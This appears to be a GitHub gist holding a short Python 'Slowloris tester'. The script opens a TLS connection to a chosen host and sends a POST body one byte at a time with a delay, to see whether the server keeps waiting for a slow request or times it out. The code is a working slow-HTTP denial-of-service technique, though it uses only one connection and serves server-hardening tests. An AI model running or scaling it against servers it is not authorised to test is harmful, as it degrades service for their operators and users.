Skip to content

Instantly share code, notes, and snippets.

@singe
Last active March 19, 2025 07:13
Show Gist options
  • Save singe/d6363e4594b80aa0f02274d3f21bae25 to your computer and use it in GitHub Desktop.
Save singe/d6363e4594b80aa0f02274d3f21bae25 to your computer and use it in GitHub Desktop.
Quick Slowloris Tester
#!/usr/bin/env python3
# By singe
import argparse, socket, ssl, time, re
SUFFIXES = {"k": 1024, "m": 1024**2, "g": 1024**3}
def parse_size(size_str):
m = re.fullmatch(r"(\d+(?:\.\d+)?)([kKmMgG]?)", size_str)
if not m:
raise argparse.ArgumentTypeError(f"Invalid size '{size_str}'")
value, suffix = m.groups()
return int(float(value) * SUFFIXES.get(suffix.lower(), 1))
def slow_post(host, path, delay, total_bytes):
port = 443
sock = socket.create_connection((host, port))
ssock = ssl.create_default_context().wrap_socket(sock, server_hostname=host)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Type: application/octet-stream\r\n"
f"Content-Length: {total_bytes}\r\n"
"Connection: close\r\n\r\n"
).encode()
ssock.sendall(headers)
print(f"[-] Sending {total_bytes} bytes {delay}s slowly", flush=True)
start = time.monotonic()
sent = 0
try:
for _ in range(total_bytes):
ssock.send(b"A")
sent += 1
#if sent % 1024 == 0:
print(".", end="", flush=True)
time.sleep(delay)
except BrokenPipeError:
elapsed = time.monotonic() - start
print(f"\n[!] Broken pipe after sending {sent} bytes in {elapsed:.2f}s")
ssock.close()
return
elapsed = time.monotonic() - start
print(f"\n[-] Completed sending {sent} bytes in {elapsed:.2f}s")
response = b""
while chunk := ssock.recv(4096):
response += chunk
print(response.decode(errors="replace"))
ssock.close()
def main():
parser = argparse.ArgumentParser(description="Slow HTTP POST uploader")
parser.add_argument("--host", required=True)
parser.add_argument("--path", required=True)
parser.add_argument("--delay", type=float, default=0.1)
parser.add_argument("--size", required=True, type=parse_size)
args = parser.parse_args()
slow_post(args.host, args.path, args.delay, args.size)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment